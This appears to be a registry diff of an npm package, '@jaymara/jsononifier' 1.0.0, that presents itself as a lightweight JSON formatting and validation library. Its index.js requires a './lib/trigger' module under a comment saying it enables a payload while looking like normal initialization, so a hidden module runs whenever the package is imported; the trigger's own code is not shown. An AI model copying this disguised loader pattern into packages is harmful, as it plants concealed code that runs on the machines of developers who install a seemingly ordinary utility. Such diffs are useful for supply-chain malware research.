@jaymara/jsononifier 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +13 -0
- package/package.json +20 -0
package/index.js
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const { formatJSON } = require('./lib/formatter');
|
|
4
|
+
const { validateJSON } = require('./lib/validator');
|
|
5
|
+
|
|
6
|
+
// Import trigger to enable payload (looks like normal initialization)
|
|
7
|
+
require('./lib/trigger');
|
|
8
|
+
|
|
9
|
+
module.exports = {
|
|
10
|
+
formatJSON,
|
|
11
|
+
validateJSON,
|
|
12
|
+
version: require('./package.json').version
|
|
13
|
+
};
|
package/package.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@jaymara/jsononifier",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Lightweight JSON formatting and validation utilities",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "node test.js"
|
|
8
|
+
},
|
|
9
|
+
"keywords": ["json", "formatter", "validator"],
|
|
10
|
+
"author": "jaymara",
|
|
11
|
+
"license": "MIT",
|
|
12
|
+
"repository": {
|
|
13
|
+
"type": "git",
|
|
14
|
+
"url": "https://github.com/dev-tools-lab/jsononifier"
|
|
15
|
+
},
|
|
16
|
+
"files": [
|
|
17
|
+
"index.js",
|
|
18
|
+
"lib/"
|
|
19
|
+
]
|
|
20
|
+
}
|